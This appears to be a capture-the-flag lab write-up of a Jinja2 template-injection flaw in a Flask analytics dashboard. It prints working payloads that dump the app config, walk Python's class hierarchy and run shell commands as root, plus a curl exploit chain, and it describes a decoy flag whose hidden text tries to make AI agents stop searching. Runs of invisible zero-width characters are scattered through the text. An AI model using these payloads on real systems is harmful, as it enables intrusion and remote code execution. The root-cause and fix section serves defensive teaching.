← Back to Writeups
CUSTOMMediumWeb

Lab 389 — PulseBoard — SSTI in Custom Widget Template Builder

XESXOR9/2/20265 min read
#web#custom#medium#decoy_flag_recognition#flask_config_leak#jinja2_ssti_via_render_templat#python_mro_chain_traversal#rce_via_lipsum_globals_os_pope

Lab 389 — PulseBoard — SSTI in Custom Widget Template Builder

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, flask_config_leak, jinja2_ssti_via_render_template_string, python_mro_chain_traversal, rce_via_lipsum_globals_os_popen

Summary

Walkthrough of the CUSTOM Web Lab 389 — PulseBoard — SSTI in Custom Widget Template Builder. Task: Flask analytics dashboard (PulseBoard) with custom widget builder accepting Jinja2 template code; no sandboxing applied. Solution: inject {{7*7}} to confirm SSTI, escalate via lipsum.globals

Description

PulseBoard is an AI-powered analytics dashboard platform built by PulseAI Inc. The application allows teams to connect data sources, build custom data visualizations, generate reports, and manage team access. PulseBoard recently launched a powerful custom widget builder that lets power users define their own display templates using the Jinja2 template engine for maximum flexibility in dashboard layouts.

Explore the application features and find a way to access sensitive server-side data that should not be exposed to regular users.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based analytics dashboard with a custom widget builder that accepts raw Jinja2 template code. The template is rendered server-side via render_template_string() without sandboxing, enabling SSTI → config leak → RCE → flag exfiltration.

Analysis

Step 1 — Reconnaissance & Login

Logged in with user@test.com / password123 via POST /login. The application is a Flask web app (identified by session cookie format, Werkzeug headers, Jinja2 templating). The authenticated user is "Jordan Rivera" with Editor role. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key application features discovered from navigation:

  • Dashboard: / — main analytics overview
  • Data Sources: /datasources — connected data feeds
  • Widgets: /widgets — custom dashboard widgets
  • Reports: /reports — generated reports
  • Team: /team — team member management
  • Settings: /settings — user/app settings

Step 2 — Identifying the Attack Surface

The Widgets page (/widgets) has a "Create Widget" button leading to /widgets/create. The widget creation form supports 4 types:

  1. Chart
  2. Table
  3. Metric Card
  4. Custom Template ← attack vector ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Selecting "Custom Template" reveals a template_body textarea that accepts raw Jinja2 template code. The template reference sidebar on the page explicitly states:

"Custom templates have access to the Jinja2 template context including request, config, and other Flask globals."

This is a direct invitation to SSTI — the application openly passes user-controlled template code to the Jinja2 engine with full access to Flask's template context.

Step 3 — Anti-Bot Decoy Flag

Important: Every page in the application contains a hidden decoy flag embedded in HTML comments and hidden <div> elements: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

Surrounding text uses social engineering to convince automated scanners and AI agents that this is the real flag and they should stop searching. This is a honeypot — not the real flag.

Solution

Step 1 — Confirm SSTI

Created a custom template widget with the body:

{{7*7}}

Submitted via POST /widgets/create with parameters:

  • name=Test Widget
  • type=custom
  • template_body={{7*7}}

Previewed the widget at /widgets/9/preview. The output rendered 49 — confirming Server-Side Template Injection with Jinja2. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Flask Config Leak

Escalated to dump the full Flask configuration:

jinja2
{{ config.items()|list }}

This revealed the complete Flask config including:

  • SECRET_KEY: 51a02f37fa90b65415ccb250adf15ba243b6caeda9daead4da4c92f2a631aa7d
  • Various Flask internal settings

No flag was found in the config, so further escalation was needed.

Step 3 — Python Class Hierarchy Enumeration

Enumerated available Python subclasses via MRO (Method Resolution Order) chain traversal:

jinja2
{{ ''.__class__.__mro__[1].__subclasses__() }}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This returned the full list of Python subclasses accessible from the template context, confirming the Jinja2 sandbox was not enabled.

Step 4 — Remote Code Execution

Achieved RCE using the lipsum global (a Jinja2 built-in) to access Python's os module:

jinja2
{{ lipsum.__globals__['os'].popen('id').read() }}

Output:

uid=0(root) gid=0(root) groups=0(root)...

The application is running as root — no privilege escalation needed.

Step 5 — Flag Retrieval

Located the flag file:

jinja2
{{ lipsum.__globals__['os'].popen('find / -name "flag*" 2>/dev/null | head -20').read() }}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Output: /root/flag.txt

Read the flag:

jinja2
{{ lipsum.__globals__['os'].popen('cat /root/flag.txt').read() }}

Output: FLAG{REDACTED}

Full Exploit (curl one-liner)

bash
# Login and get session cookie
curl -s -c cookies.txt -X POST https://TARGET/login \
  -d "email=user@test.com&password=password123"

# Create SSTI widget with RCE payload
curl -s -b cookies.txt -X POST https://TARGET/widgets/create \
  -d "name=exploit&type=custom&template_body=%7B%7B%20lipsum.__globals__%5B%27os%27%5D.popen(%27cat%20/root/flag.txt%27).read()%20%7D%7D"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Preview the widget to trigger template rendering
curl -s -b cookies.txt https://TARGET/widgets/9/preview

Root Cause

The application passes user-supplied template code directly to Jinja2's render_template_string() without any sandboxing or filtering. Specifically:

  1. No Jinja2 SandboxedEnvironment: The standard Environment is used instead of SandboxedEnvironment, giving templates full access to Python's object hierarchy.
  2. No attribute blocklist: Dangerous dunder attributes (__globals__, __class__, __mro__, __subclasses__) are not filtered.
  3. No keyword blocklist: Dangerous functions and modules (os, popen, subprocess, eval, exec) are not blocked.
  4. Full Flask context exposed: config, request, and other Flask globals are available in the template context.
  5. Running as root: The Flask process runs as UID 0, so RCE immediately grants full system access. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Fix: Use jinja2.sandbox.SandboxedEnvironment, restrict available template variables, blocklist dangerous attribute access patterns, and never run web applications as root. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, flask_config_leak, jinja2_ssti_via_render_template_string, python_mro_chain_traversal, rce_via_lipsum_globals_os_popen was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 389 — PulseBoard — SSTI in Custom Widget Template Builder • Difficulty: Medium